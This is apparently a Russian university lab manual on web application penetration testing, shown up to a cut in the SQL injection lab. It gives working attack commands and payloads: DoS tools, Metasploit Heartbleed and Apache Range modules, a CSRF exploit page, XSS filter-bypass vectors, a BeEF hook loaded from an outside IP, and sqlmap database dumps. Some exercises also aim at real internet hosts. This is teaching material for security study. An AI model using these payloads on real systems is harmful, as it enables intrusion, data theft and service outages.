КОМПЛЕКТ ЗАДАНИЙ ДЛЯ ВЫПОЛНЕНИЯ ЛАБОРАТОРНЫХ РАБОТ

Лабораторная работа 1. «Сбор информации о веб-приложении»

Цель лабораторной работы: «обучение методам и средствам сбора информации об анализируемом веб-приложении.»

Выполнить сбор информации об анализируемом веб- приложении www.test.app.com.

Задание:

Будем рассматривать сбор информации на примере веб- приложения с условным именем www.test.app.com.

Шаг 1. В адресной строке браузера перейти по адресу www.test.app.com/robots.txt.

Проанализировать содержимое файла.

Сделать выводы о наличии «скрытых» директорий.

Шаг 2. В адресной строке браузера перейти по адресу http://www.test.app.com/crossdomain.xml и, затем, по адресу http://www.test.app.com/clientaccesspolicy.xml. Проанализировать содержимое файлов. Сделать выводы о корректности конфигурации политики междоменного взаимодействия RIA [3].

Шаг 3. Перейти по адресу http://www.google.com.

Задать поисковые запросы, определяемые анализируемым приложением, например:

site:www.test.app.com filetype:docx confidential

site:www.test.app.com filetype:doc secret

site:www.test.app.com inurl:admin

site:www.test.app.com filetype:sql

site:www.test.app.com intext: "Access denied" Проанализировать логику запросов и полученные данные. Построить свои запросы, используя примеры из базы запросов [4].

Шаг 4. Перейти по адресу http://www.shodanhq.com. Задать следующий поисковый запрос:

hostname:www.test.app.com

Построить свои запросы для приложения www.test.app.com.

Шаг 5. Данный тест выполняется только для приложений, размещенных в лабораторной сети.

С помощью сетевых сканеров Nmap и Xprobe выполнить идентификацию ОС веб-сервера:

nmap –O www.test.app.com –vv # xprobe2 www.test.app.com

Шаг 6. Подключиться к веб-серверу, используя утилиту Netcat: # nc www.test.app.com 80

Отправить следующий GET запрос GET / HTTP/1.1

Host: www.test.app.com \r\n

По заголовкам Server и X-Powered-By определить программное обеспечение, реализующее веб-сервер и фрэймворк веб- приложения.

В браузере установить расширение Wappalyzer, перейти по адресу веб-приложения и проанализировать информацию о компонентах веб-приложения полученное через Wappalyzer.

Шаг 7. С помощью сканера веб-серверов Httprint (дистрибутив Backtrack) или Httprecon (ОС Windows) выполнить идентификацию веб-сервера:

cd /pentest/enumeration/web/httprint/linux # ./httprint –h www.test.app.com –s signatures.txt

С помощью сканера Wafw00f проверить наличие у веб- приложения подсистемы WAF:

cd /pentest/web/waffit # python ./wafw00f.py http://www.test.app.com # python ./wafw00f.py https://www.test.app.com

Шаг 8. Выполнить тесты по идентификации поддерживаемых веб-сервером HTTP-методов. Для этого необходимо отправить с помощью Burp Suite или Netcat запрос следующего вида:

OPTIONS / HTTP/1.1 Host: www.test.app.com\r\n

Проверить, поддерживает ли сервер обработку запросов с произвольными методами:

DOGS / HTTP/1.1 Host: www.test.app.com\r\n

Если веб-сервер поддерживает метод TRACE, то это может приве- сти к уязвимости к атаке Cross-Site Tracing (XST). Для проверки поддержки веб-сервером методы TRACE отправить запрос

TRACE / HTTP/1.1 Host: www.test.app.com\r\n

Веб-сервер поддерживает метод TRACE и потенциально уязвим к атаке XST, если получен ответа вида

HTTP/1.1 200 OK Connection: close Content-Length: 39 TRACE / HTTP/1.1 Host: www.test.app.com

Вопросы и задания

Найти административные интерфейсы коммуникационного и сетевого оборудования (видеокамеры, коммутаторы ЛВС, домашние Wi-Fi маршрутизаторы, и т.д.), подключенные к сети Интернет.

Известно, что адрес веб-интерфейса системы VMWare Horizon View HTML Access содержит строку portal/webclient/views/mainUI.html. Найти такие системы, доступные из сети Интернет.

Оценить количество коммутаторов Cisco Catalyst с административным веб-интерфейсом, подключенным к сети Интернет.

Лабораторная работа 2. «Тестирование защищенности транспортного уровня»

Цель лабораторной работы: «обучение методам и средствам тестирования защищенности служб SSL/TLS.»

Выполнить тестирование защищенности служб SSL/TLS веб- сервера www.test.app.com.

Задание:

Шаг 1. Выполнить базовые проверки SSL/TLS.

Установить последнюю версию пакета OpenSSL.

Запустить сетевой анализатор Wireshark.

Выполнить тестовое подключение к серверу: # openssl s_client –connect www.test.app.com:443

Просмотреть трассировку установки соединения в Wireshark. Определить следующие параметры: версию протокола SL/TLS, используемый криптографический набор (cipher suite), длину открытого ключа сервера, включение механизма сжатия данных.

Отправить следующий HTTP-запрос и убедиться в получении ответа от сервера:

GET / HTTP/1.1 Host: www.test.app.com

Проверить поддержку сервером механизма «Sever Name Indica- tion» (SNI): # openssl s_client –connect www.test.app.com:443

–servername www.test.app.com

Просмотреть трассировку установки соединения в Wireshark в этом случае. Поддержка расширения SNI идентифицируется путем установки соединения с опцией SNI и без нее.

Если в ответ получены различные сертификаты, то SNI поддерживается сервером. Если указанное в опции SNI имя неизвестно, то клиент выводит сообщение об ошибке или предупреждение.

Шаг 2. Идентифицировать все поддерживаемые протоколы SSL/TLS, выполнив последовательно команды:

openssl s_client –connect www.test.app.com:443 –ssl2

openssl s_client –connect www.test.app.com:443–ssl3

openssl s_client –connect www.test.app.com:443–tls1

openssl s_client –connect www.test.app.com:443–tls1_1

openssl s_client –connect www.test.app.com:443–tls1_2

Просмотреть трассировку сканирования. Найти отличия в структуре сетевых сообщений для разных версий протокола.

Шаг 3. Идентифицировать криптографические наборы (cipher suite), поддерживаемые сервером.

Для получения всех поддерживаемых клиентом криптографических наборов выполнить команду

openssl ciphers -v

Для проверки поддержки, например, набора AES256-SHA выполнить следующую

команду:

openssl s_client –connect www.test.app.com:443–cipher AES256-SHA

Проверить поддержку криптографического набора, содержащего шифр RC4:

openssl s_client –connect www.test.app.com:443–cipher RC4-SHA

Проверить, что при установке защищенного соединения криптографический набор выбирается в порядке, определяемом настройками сервера, а не клиента. Для этого из списка поддерживаемых сервером криптографических наборов выбрать три произвольных и выполнить команды, например:

openssl s_client –connect www.test.app.com:443

–cipher 'AES256-SHA256,AES128-SHA,DES-CBC-SHA'

openssl s_client –connect www.test.app.com:443

–cipher 'AES128-SHA256,AES256-SHA,DES-CBC-SHA'

openssl s_client –connect www.test.app.com:443

–cipher 'DES-CBC-SHA,AES128-SHA,AES256-SHA256'

При корректной настройке во всех случаях должен быть выбран набор AES256-SHA256.

Проверить поддержку сервером Forward Secrecy на основе DHE и ECDHE:

openssl s_client –connect www.test.app.com:443–cipher 'ECDHE—RSA-AES256-SHA384'# openssl s_client –connect www.test.app.com:443–cipher 'DHE—RSA-AES256-SHA256'

Шаг 4. Для определения поддержки сервером механизма «Session Resumption» выполнить команду

openssl s_client –connect www.test.app.com:443–reconnect

или ее менее информативный вариант

openssl s_client –connect www.test.app.com:443

–reconnect | grep 'New\|Reuse'

Шаг 5. Для идентификации механизма «Secure Renegotiation» выполнить команду

openssl s_client –connect www.test.app.com:443 | grep 'Secure Renegotiation'

Просмотреть трассировку сканирования и убедиться в поддержке данного механизма. Поддержка механизма «Secure Renegotiation» сервером определяется по наличию расширения «renegotiation_info» в сообщение ServerHello или путем просмотра вывода команды

openssl s_client –connect www.test.app.com:443–tlsextdebug

Для идентификации поддержки сервером механизма «Client- Initiated Renegotiation» необходимо подключиться к веб-серверу по SSL/TLS с помощью клиента OpenSSL

openssl s_client –connect www.test.app.com:443

и затем отправить запрос:

HEAD / HTTP/1.1Host: www.test.app.com R или GET / HTTP/1.1

Host: www.test.app.com R

Если сервер не поддерживает «Client-Initiated Renegotiation», то будет выведено сообщение об ошибке. Если сервер поддерживает данный механизм, то сервер отправит клиенту снова свои серти- фикаты.

Поддержка механизма «Client-Initiated Renegotiation» может быть использована для реализации в отношении веб-сервера DoS- атаки, так как при каждом установлении соединения сервер вы- нужден тратить существенно больше вычислительных ресурсов чем клиент.

Чтобы проверить возможность реализации DoS-атаки, можно проверить, сколько раз клиент может инициировать пересогласо- вание (renegotiation) криптографических параметров:

GET / HTTP/1.1

Host: www.test.app.com

R

R

R

R

R

Другой способ тестирования – использование эксплоита thc-ssl- dos [6], например:

thc-ssl-dos —accept 192.168.1.1 443

Шаг 6. Проверить наличие уязвимости к атаке «BEAST».

Данная атака использует недостатки блочных шифров, работающих в режиме CBC, и существует во всех версиях протоколов SSL/TLS до версии TLS 1.1.

Для того чтобы защититься от атаки BEAST, необходимо использовать шифр RC4 или протокол TLS версии 1.1 и старше.

С другой стороны, шифр RC4 в настоящее время считается небезопасным, поэтому его использование нежелательно.

Для защиты от атаки BEAST на практике предлагается два подхода: первый из них носит название «Строгое ослабление» (Strict mitigation) и предполагает использование протокола TLS версии 1.1 и старше со всеми клиентами, которые его поддерживают; второй подход называется «Приоритезация RC4» (RC4 prioritization) и заключается в повышении приоритета шифра RC4 для клиентов, поддерживающих только протоколы SSL 2.0, SSL 3.0 и TLS 1.0.

Таким образом, необходимо убедиться, что клиенты SSL 3.0 или TLS 1.0, не поддерживающие шифр RC4, не смогут установить соединение:

openssl s_client –connect www.test.app.com:443

–no_ssl2 –no_tls1_1 –no_tls1_2 –cipher 'ALL:!RC4'

или что клиенты, поддерживающие шифр RC4, установят соединение, используя его

openssl s_client –connect www.test.app.com:443

–no_ssl2 –no_tls1_1 –no_tls1_2 –cipher 'ALL:+RC4'

Шаг 7. Проверить наличие уязвимости к атаке «Heartbleed» по косвенным признакам, а также путем использования активных тестов в Metasploit Framework.

Просмотреть трассировку в Wireshark и определить поддержку расширения «Heartbeat» после выполнения команды

openssl s_client –connect www.test.app.com:443

–tlsextdebug

Проверить поддержку сервером протокола «Heartbeat» через OpenSSL путем выполнения команды

openssl s_client –connect www.test.app.com:443

–tlsextdebug

Если сервер не возвращает в сообщениях данные о расширении

«Heartbeat», то он не уязвим к данной атаке.

Для того чтобы проверить, отвечает ли сервер на запросы Heartbeat, выполнить команды

openssl s_client –connect www.test.app.com:443 –msg

Для проверки уязвимости клиента (например, веб-браузера) к Heartbleed атаке можно установить соединение с любым сервером и просмотреть трассировку соединения.

Рассмотрим вариант активного тестирования (выполнение атаки с использованием уязвимости) в среде Metasploit Framework.

Для тестирования клиента выполнить следующие команды:

msfconsole

use auxiliary/server/openssl_heartbeat_client_memory

show options

run

В веб-браузере открыть ресурс Metasploit, отвечающий за тестирование на наличие уязвимости к атаке Heartbleed и просмотреть информацию о результате тестирования клиента.

Для тестирования сервера в среде Metasploit Framework выполнить следующие команды:

msfconsole

use auxiliary/scanner/ssl/openssl_heartbleed

show options

set RHOSTS www.test.app.com

set RPORT 443

set VERBOSE true

run

С помощью проекта http://un1c0rn.net найти веб-серверы, уязвимые к атаке Heartbleed (в крайнем случае, можно использовать тестовые сервера, уязвимые атаке Heartbleed, например heartbleed.csr-group.com).

Подтвердить уязвимость к атаке в среде Metasploit Framework или с помощью сервиса http://ssllabs.com.

Шаг 8. Проверить наличие уязвимости к атаке «CRIME» по косвенным признакам. Данная атака основана на сжатии данных на уровне SSL/TLS. Для проверки достаточно

выполнить команду

openssl s_client –connect www.test.app.com:443

–reconnect | grep 'Compression'

Шаг 9. Проверить наличие HTTP-заголовков Strict-Transport-Security, устанавливаемых на стороне веб-сервера. Отправить следующий HTTP-запрос к веб-приложению в программе Burp Suite

GET / HTTP/1.1

Host: www.test.app.com\r\n

HTTP-ответ должен содержать заголовок следующего вида:

Strict-Transport-Security: max-age=31536000; includeSubDomains

Проверить наличие страниц со смешанным контентом (mixed- content pages) – страниц, доступных по HTTPS, но содержащих ресурсы (картинки, скрипты JavaScript, файлы CSS, медиа-контент), доступные по протоколу HTTP.

Для этого следует сконфигурировать браузер для работы с тестируемым веб-приложением через веб-прокси Burp Suite, в процессе работы с веб-приложением необходимо во вкладке HTTP History просмот- реть историю и удостовериться, что все запросы к серверу отправ- ляются только по протоколу HTTPS.

Проверить, что cookie, содержащие чувствительную информацию, имеют атрибут secure, например:

Set-Cookie: SessionId=371d2sm6cbn3d31a;path=/;secure

Проверить, что чувствительный контент не кэшируется на стороне клиента. Запрещение кэширования определяется наличием

HTTP-заголовков Pragma, Cache-Control и Expires со следующими рекомендованными значениями:

Pragma: no-cache

Cache-Control: no-cache, no-store, must-revalidate, max-age=0

Expires: 0

Проверить, что приложение защищено от атаки «SSL Stripping». Для этого необходимо убедиться, что веб-приложение доступно только по протоколу HTTPS и не доступно опционально по протоколу HTTP или в веб-приложении используется заголовок Strict-Transport-Security (при условии того, что пользователь гарантированно попадет на сайт по

протоколу HTTPS).

Шаг 10. Выполнить тестирование SSL/TLS с использованием сервиса ssllabs.com.

В веб-браузере перейти по адресу https://www.ssllabs.com/ssltest/index.html, ввести доменное имя сервера, выполнить сканирование, просмотреть и проанализировать полученные результаты.

Сравнить результаты сканирования сервера с результатами, полученными при его ручном тестировании.

Выполнить тестирование нескольких веб-клиентов (например, веб-браузеров Internet Explorer, Mozilla Firefox, Google Chrome, WhiteHat Security Aviator, Яндекс Браузер, Apple Safari, Opera и т.п.).

Для этого в каждом тестируемом браузере открыть страницу https://www.ssllabs.com/ssltest/index.html, выполнить сканирование, просмотреть и проанализировать результаты.

Вопросы и задания

Проверить произвольный веб-сервер, поддерживающий SSL/TLS, на соответствие рекомендациям Qualys SSL Labs [7].

Написать скрипт, выполняющий идентификацию всех поддерживаемых сервером криптографических наборов SSL/TLS.

Просканировать веб-серверы 10 известных компаний, банков, операторов связи с помощью сервиса ssllabs.com. Проанализировать результаты.

Лабораторная работа 3. «Тестирование защищенности механизма управления доступом»

Цель лабораторной работы: обучение методам и средствам тестирования защищенности механизма управления доступом в веб-приложениях.

Выполнить тестирование защищенности механизма управления доступом исследуемого веб-приложения.

Задание:

Шаг 1. Настроить работу браузера через штатный прокси-сервер Burp Suite. В веб-

браузере открыть главную страницу тестируемого веб-приложения www.test.app.com.

Шаг 2. Зарегистрироваться в веб-приложении. Получить идентификатор учетной записи и пароль доступа к веб-приложению. Проанализировать предсказуемость идентификаторов пользователей и, если это возможно, алгоритм назначения идентификаторов. Проанализировать реализованную в веб-приложении парольную политику. Оценить доступную сложность выбора паролей пользователями. Опционально выполнить атаку полного перебора паролей.

Шаг 3. Перейти по ссылке для аутентификации в приложении. При этом необходимо убедиться, что форма аутентификации доступна только по протоколу HTTPS. Убедиться, что вводимые пользователем логин и пароль отправляются в зашифрованном виде по протоколу HTTPS. Убедиться, что логин и пароль не отправляются с помощью HTTP-метода GET.

Шаг 4. Проверить, что в веб-приложении изменены стандартные пароли для встроенных учетных записей. Проверить, что новые учетные записи создаются с различными паролями.

Шаг 5. Проверить возможность идентификации пользователей веб-приложения через формы регистрации, входа и восстановления пароля. Для этого следует ввести несуществующее имя пользователя (например, qawsedrf1234) и произвольный пароль, а затем имя существующего пользователя и произвольный, но неправильный пароль. В обоих случаях должно быть выведено одно и то же сообщение об ошибке вида «Ошибка в имени пользователя или неверный пароль». Также оба HTTP-ответа должны совпадать с точностью до изменяемых параметров и быть получены за одно и то же время. В противном случае веб-приложение имеет скрытый канал (оракул), позволяющий идентифицировать его пользователей.

Шаг 6. Проверить возможность реализации атаки подбора пароля пользователя. Ввести имя пользователя. Ввести несколько раз неправильный пароль (5 – 10 раз). После этого ввести правильный пароль для этой учетной записи. Ввести одинаковый пароль для разных учетных записей (для 5 – 10). Проверить возможность доступа к веб-приложению. Блокирование учетных записей пользователя после нескольких неудачных попыток входа создает условие для реализации DoS-атаки и не должно использоваться в механизмах защиты от атак подбора паролей. Вместо этого необходимо использовать возрастающие временные задержки или средства анти-автоматизации (например, CAPTCHA).

Шаг 7. Проверить, что чувствительный контент (например, страницы с введенными номерами кредитных карт, счетов, адресов) не доступен через механизм History веб-браузера, а также не кэшируется им. Войти под учетной записью пользователя, перейти на страницу с чувствительным контентом. Ввести новые данные. Выйти из приложения. Нажать кнопку «Back». Пользователь не должен иметь возможность выполнять новые запросы (при корректной реализации управления сессиями). Если при этом пользователю доступны ранее запрашиваемые страницы, то это означает, что серверная часть веб-приложения не запретила веб-браузеру сохранять данные в истории. Запрещение кэширования определяется наличием HTTP-заголовков Pragma, Cache-Control и Expires со следующими рекомендованными значениями:

```
Pragma: no-cache
Cache-Control: no-cache, no-store, must-revalidate,
max-age=0
Expires: -1
```

Шаг 8. Запустить веб-приложение Web Goat. Ввести логин: «guest», пароль: «guest». Перейти по ссылке «Access Control Flaws → Bypass a Path Based Access Control». Изучить условия задачи. Используя FireBug (или любой аналогичный инструмент), изменить значение AccessControlMatrix.html на …/…/main.jsp. Нажать кнопку «View File».

Шаг 9. Перейти по ссылке «LAB: Role Based Access Control → Stage 1». Изучить условия задачи. Войти под пользователем Tom (пароль: Tom). Можно видеть, что от пользователя скрыта кнопка «DeleteProfile», так как он не должен иметь возможности удалять учетные записи. Нажать кнопку «View Profile». В Burp Suite просмотреть запрос. Используя FireBug (или любой аналогичный инструмент), изменить HTML-размету, заменив элемент:

```
HTML

<input type="submit" value="ViewProfile"
name="action">
```

на элемент:

```HTML
<input type="submit" value="DeleteProfile"
name="action">
```

Нажать кнопку «DeleteProfile». Просмотреть отправленный запрос в Burp Suite. Профиль пользователя будет удален.

Шаг 10. Перейти по ссылке «LAB: Role Based Access Control → Stage 3». Изучить условия задачи. Войти под пользователем Tom (пароль: Tom). Нажать кнопку «View Profile». В Burp Suite просмотреть запрос. Можно видеть, что пользователю доступны данные своего профиля. Используя FireBug (или любой аналогичный инструмент), изменить HTML-размету, заменив элемент:

```HTML
<option value="105" selected="">Tom Cat (employee)
</option>
```

на элемент:

```HTML
<option value="103" selected="">Tom Cat (employee)
</option>
```

Нажать кнопку «ViewProfile». Просмотреть отправленный запрос в Burp Suite. Будут выведены данные профиля пользователя Curly Stooge.

Шаг 11. Перейти по ссылке «Remote admin access». Изучить условия задачи. Просмотреть подменю «Admin Functions». Перейти по ссылке WebGoat/attack?Screen=86&menu=200&admin=true. Просмотреть подменю «Admin Functions».

Вопросы и задания

1. Изучить рекомендации к защищенной реализации механизма хранения паролей. Исследовать механизм восстановления паролей выбранного веб-приложения.
2. Исследовать минимально допустимую длину и сложность паролей в произвольных пяти веб-приложениях из рейтинга ALEXA TOP 100.
3. Исследовать наличие оракулов в механизмах аутентификации произвольных пяти веб-

приложениях из рейтинга ALEXA TOP 100.

Лабораторная работа 4. «Тестирование защищенности механизма управления сессиями»

Цель лабораторной работы: является обучение современным методам и средствам тестирования защищенности механизма управления сессиями в веб-приложениях.

Выполнить тестирование защищенности механизма управления сессиями исследуемого веб-приложения.

Задание:

Шаг 1. Настроить работу браузера через штатный прокси-сервер Burp Suite. В веб-браузере открыть главную страницу тестируемого веб-приложения www.test.app.com. Просмотреть Cookie, определить, создается ли сессия для неаутентифицированных (анонимных) пользователей.

Шаг 2. Ввести корректные логин и пароль. Определить, что используется в качестве транспорта для передачи идентификатора сессии. Если для этого используется механизм Cookie, то определить имена cookie, их атрибуты (Secure, HttpOnly, Domain, Path, Expires) и значения. Проанализировать адекватность используемых атрибутов Cookie.

Шаг 3. Проанализировать имя идентификатора сессии, его структуру и значение, определить, используется ли кодирование или шифрование данных. Используя инструмент Sequencer в Burp Suite, проанализировать вероятностные характеристики последовательности идентификаторов сессий. Сделать вывод о соответствии реализации функции генерации идентификаторов требованиям безопасности. Сделать вывод о возможности использования атаки грубой силы для генерации сессионного идентификатора пользователя.

Шаг 4. Проверить аннулируемость сессии на серверной стороне. Сохранить Cookie в веб-браузере (можно использовать расширение Export Cookies), выйти из приложения. Импортировать сохраненные ранее Cookie в браузер (можно использовать расширение Import Cookies). Перейти по любому адресу веб-приложения. Если вы попадете в предыдущую сессию, то это означает, что аннулирование сессии происходит только на клиенте. Проверить, что пользователь может завершить свою сессию в любой момент времени – каждая страница, доступная после аутентификации, содержит ссылку типа «Sign out», позволяющую завершить

сессию. Проверить, какие механизмы таймаутов реализованы в веб-приложении.

Шаг 5. Проверить возможность выполнения атаки типа «Фиксация сессии». Для этого проверить наличие следующего недостатка: веб-приложение не обновляет сессионный идентификатор, отправленный браузером пользователя, после успешной аутентификации последнего. Отправить запрос веб-приложению и получить сессионный идентификатор в Cookie:

```
GET / HTTP/1.1
Host: www.test.app.com
\r\n
```

Получить и проанализировать ответ:

```
HTTP/1.1 200 OK
Date: Wed, 14 Aug 2008 08:45:11 GMT
Server: IBM_HTTP_Server
Set-Cookie: ID=d8eyYq3L0z2fgq10m4v; Path=/; secure
```

Аутентифицироваться, используя запрос с полученным идентификатором ID:

```
POST https://www.test.app.com/auth HTTP/1.1
Host: www.test.app.com
Cookie: ID=d8eyYq3L0z2fgq10m4v
\r\n
user=test&password=Zz123456
```

Вопросы и задания

1. Предложить сценарий атаки, использующий недостаток аннулирования сессии только на клиентской стороне веб- приложения.
2. Используя поисковые системы (Google, Shodan), найти веб- приложения с механизмом URL Rewriting.
3. Написать сценарий JavaScript, устанавливающий или считывающий идентификатор сессии пользователя.

Лабораторная работа 5. «Тестирование на устойчивость к атакам отказа в обслуживании»

Цель лабораторной работы: является обучение методам и средствам тестирования веб-приложений на устойчивость к атакам отказа в обслуживании (DoS-атакам).

Выполнить тестирование устойчивости веб-приложения www.test.app.com к DoS-атакам на уровне протокола HTTP.

Задание:

Шаг 1. Установить программу slowhttptest, доступную по URL. Изучить документацию. Запустить сетевой анализатор Wireshark.

Шаг 2. На тестовом стенде, эмулирующем работу веб-сервера, установить и выполнить базовые настройки для веб-серверов Apache, Nginx и IIS. Запустить веб-сервер Apache.

Шаг 3. Запустить в отношении веб-сервера атаку Slowloris, просмотреть трассировку соединения, проверить доступность веб-сервера с помощью произвольного браузера:

```
slowhttptest -H -c 3000 -r 3000 -i 50 -l 6000 –u
http://www.test.app.com
```

Провести несколько тестов с различными параметрами. Построить графики состояния веб-сервера.

Шаг 4. Запустить в отношении веб-сервера атаку Slow HTTP POST, просмотреть трассировку соединения, проверить доступность веб-сервера с помощью произвольного браузера:

```
slowhttptest -B -c 3000 -r 3000 -i 50 -l 6000 –u
http://www.test.app.com
```

Провести несколько тестов с различными параметрами. Построить графики состояния веб-сервера.

Шаг 5. Запустить в отношении веб-сервера атаку Slow Read, выбрав файл достаточного размера, просмотреть трассировку соединения, проверить доступность веб-сервера с помощью произвольного браузера:

```
slowhttptest -X -c 3000 -r 3000 -l 6000 -k 5 -n 50
-w 1 -y 2 -z 1 –u
http://www.test.app.com/bigauth.js
```

Провести несколько тестов с различными параметрами. Построить графики состояния веб-сервера.

Шаг 6. Остановить сервер Apache. Запустить сервер Nginx. Проделать предыдущие

шаги в отношении сервера Nginx.

Шаг 7. Остановить сервер Nginx. Запустить сервер IIS. Проделать предыдущие шаги в отношении сервера IIS.

Шаг 8. В отношении сервера Apache выполнить атаку Apache Range Header. Проанализировать результаты. Выполнить команду:

```
slowhttptest -R -u http://www.test.app.com -t GET
c 1000 -a 10 -b 3000 -r 500
```

Выполнить атаку Apache Range Header с использованием Metasploit Framework:

```
msfconsole
use auxiliary/dos/http/apache_range_dos
show options
set RHOSTS www.test.app.com
set RPORT 80
set RLIMIT 100
set THREADS 3
run
```

Вопросы и задания

1. Как можно по косвенным признакам определить уязвимость веб-сервера к атакам типа Slow HTTP DoS?
2. Реализовать механизмы защиты для веб-сервера Apache от атак Slow HTTP DoS.
3. Реализовать и протестировать веб-приложение, уязвимое к атаке XML Bomb.

Лабораторная работа 6. «Поиск уязвимостей к атакам CSRF»

Цель лабораторной работы: обучение методам и средствам идентификации и эксплуатации уязвимостей веб- приложений к атакам CSRF.

Выполнить идентификацию и эксплуатацию уязвимостей к атакам CSRF.

Задание:

Шаг 1. Запустить веб-приложение WebGoat. Войти с логином «guest» и паролем «guest». Перейти в раздел «Cross-Site Scripting → Cross-Site Request Forgery» и изучить условия задачи. В поле «Title» ввести значение «Hello», а в поле «Message» - значение «test». Нажать кнопку «Submit» и с помощью Burp Suite просмотреть отправленный браузером

запрос. Затем в поле «Message» ввести следующий HTML-код:

```HTML
<img src="http://localhost/WebGoat/attack?
transferFunds=4000">
```

Шаг 2. Перейти в раздел «Cross-Site Scripting → CSRF Prompt By-Pass». В поле «Title» ввести значение «Hello», а в поле «Message» вставить следующий HTML-код:

```HTML
<img src="http://localhost/WebGoat/attack?
transferFunds=4000"
onerror="i1=document.createElement('img');
i1.src='http://localhost/WebGoat/attack?
transferFunds=CONFIRM'">
```

Шаг 3. Проверить уязвимость веб-приложения www.app.test.com к атакам CSRF. Найти функцию, изменяющую состояние приложения, и выполнить её. Просмотреть HTTP-запрос и удалить из него заголовки Referer и X-Requested-With, если они присутствуют. Убедиться, что запрос использует метод POST и проверить наличие параметра CSRF-токена. Приложение считается уязвимым к CSRF, если выполнен хотя бы один из следующих условий:

- Запрос не содержит CSRF-токены в заголовках и параметрах формы, и заголовки Referer и X-Requested-With могут быть удалены без нарушения функциональности.
- Запрос содержит CSRF-токен, который может быть удалён без нарушения функциональности.
- Запрос содержит CSRF-токен, но его значение может быть любым или пустым.
- CSRF-токен одного пользователя может быть использован другим пользователем.
- CSRF-токен предсказуем.
- Приложение обрабатывает POST-запросы с CSRF-токенами и GET-запросы без них.
- Существует жёстко закодированный CSRF-токен для отладки и тестирования.

Шаг 4. Написать эксплоит для обнаруженной уязвимости CSRF. Например, если для удаления учётной записи используется запрос:

```
POST /delete HTTP/1.1
Host: www.app.test.com
Cookie: JSESSIONID=KxwexXHkDqzObNrFnXZN19Lq
\r\n
user=test&en=187213&pp=true
```

И если этот запрос не содержит CSRF-токены, то для эксплуатации уязвимости можно использовать следующий HTML-код на ресурсе злоумышленника:

```html
<html>
<body>
<form action="http://www.app.test.com/delete"
method="POST">
<input type="hidden" name="user" value="test">
<input type="hidden" name="en" value="187213">
<input type="hidden" name="pp" value="true">
</form>
<script>document.forms[0].submit();</script>
</body>
</html>
```

После перехода на веб-ресурс злоумышленника убедиться, что подделанный запрос отправляется и обрабатывается приложением.

Вопросы и задания

1. Для веб-приложения, уязвимого к атаке CSRF, написать экс- плоит, отправляющий данные типа multipart/form-data.
2. Для веб-приложения, уязвимого к атаке XSS, написать на языке JavaScript эксплоит, извлекающий CSRF-токен.
3. Показать, как, используя уязвимость к атаке CSRF, можно выполнить атаку XSS.

Лабораторная работа 7. «Поиск уязвимостей к атакам XSS»

Цель лабораторной работы: обучение методам и средствам идентификации и эксплуатации уязвимостей веб- приложений к атакам XSS.

Выполнить идентификацию и эксплуатацию уязвимостей к атакам XSS.

Задание:

Шаг 1. Скачать образ «Web For Pentesters» с сайта pentesterlab.com, создать виртуальную машину и загрузиться с диска. Открыть веб-приложение в браузере.

Шаг 2. Перейти в раздел «XSS → Example 1». Проанализировать функционирование веб-приложения и контекст возможной атаки XSS. Ввести вектор:

```HTML
<script>alert(1)</script>
```

Шаг 3. Перейти в раздел «XSS → Example 2». После анализа ввести вектор и убедиться, что слово script фильтруется. Ввести:

```HTML
<ScRipT>alert(1)</sCrIpT>
```

Шаг 4. В разделе «XSS → Example 3», после анализа, ввести вектор и проверить, что тег <script> вырезается. Использовать:

```HTML
<scr<script>ipt>alert(1)</s</script>cript>
```

Шаг 5. В разделе «XSS → Example 4», определить контекст атаки и ввести вектор:

```HTML
<img src=1 onerror=alert(1)>
```

Шаг 6. В разделе «XSS → Example 5», после анализа, ввести векторы и проверить, что слово alert вырезается. Использовать:

```HTML
<img src=1 onerror=\u0061lert(1)>
<img src=1 onerror=prompt(1)>
<img src=1
onerror="t=/aler/.source%2b/t(1)/.source; eval(t)">
```

Шаг 7. В разделе «XSS → Example 6», ввести вектора:

```JavaScript
";alert(1);"
</script><script>alert(1);//
```

Шаг 8. В разделе «XSS → Example 7», после анализа, ввести вектор и проверить кодирование символа ":

```JavaScript
';alert(1);'
```

Шаг 9. В разделе «XSS → Example 8», изменить URL на:

```
xss/example9.php#<script>alert(1)</script>
```

Шаг 10. В разделе «XSS → Example 9», перейти по ссылке и убедиться, что HTTP-запрос не отправляется:

```
xss/example9.php#<script>alert(1)</script>
```

Шаг 11. Запустить BeEF и перейти в раздел «XSS → Example 1». Ввести вектор:

```HTML
<script src="http://1.1.1.1:3000/hook.js"></script>
```

В консоли BeEF войти с логином и паролем (beef:beef), проверить информацию в разделе «Online Browser» и выполнить команды во вкладке «Commands», анализируя результаты.

Вопросы и задания

Лабораторная работа 8. «Поиск уязвимостей к атакам SQL-injection»

Цель лабораторной работы: обучение методам и средствам идентификации и эксплуатации уязвимостей в веб- приложениях к атакам SQL-injection.

Выполнить идентификацию и эксплуатацию уязвимостей к атакам SQL-injection.

Задание:

Шаг 1:

1. Скачать образ «Web For Pentesters» с сайта www.pentesterlab.com.
2. Создать виртуальную машину и загрузиться с скачанного образа.
3. В браузере открыть тестовое веб-приложение.

Шаг 2:

1. Перейти по ссылке «SQL injections → Example 1».
2. Проанализировать логику функционирования веб-приложения.
3. Ввести последовательно запросы, начиная с sqli/example1.php?name=root' и заканчивая sqli/example1.php?name=root'%23sqli.
4. Выполнить команду sqlmap:

```
python sqlmap.py -p name --dbms=mysql --dump -u
http://IP_address/sqli/example1.php?name=root
```

5. Просмотреть результаты работы программы и полученные данные из базы данных.

Шаг 3:

1. Перейти по ссылке «SQL injections → Example 3».
2. Ввести запросы, начиная с sqli/example3.php?name=root%20and%201=1 и заканчивая sqli/example3.php?name=root'%2b%2b'.
3. Запустить sqlmap, чтобы проверить наличие уязвимости.

Шаг 4:

1. Перейти по ссылке «SQL injections → Example 4».
2. Ввести запросы, начиная с sqli/example4.php?id=2 и заканчивая sqli/example4.php?id=3-1

3. Выполнить команду sqlmap:

```
python sqlmap.py -p id --dbms=mysql --dump -u
http://IP_address/sqli/example4.php?id=1
```

4. Просмотреть полученные данные из базы данных и исходный код PHP-сценария.

Шаг 5:

1. Перейти по ссылке «SQL injections → Example 5».
2. Ввести запросы, начиная с sqli/example5.php?id=2 и заканчивая sqli/example5.php?id=3-1.
3. Выполнить команду sqlmap:

```
python sqlmap.py -p id --dbms=mysql --dump -u
http://IP_address/sqli/example5.php?id=1
```

4. Просмотреть полученные данные из базы данных и исходный код PHP-сценария.

Шаг 6:

1. Перейти по ссылке «SQL injections → Example 6».
2. Ввести запросы, начиная с sqli/example6.php?id=2 и заканчивая sqli/example6.php?id=5-3.
3. Использовать sqlmap для проверки уязвимости параметра id:

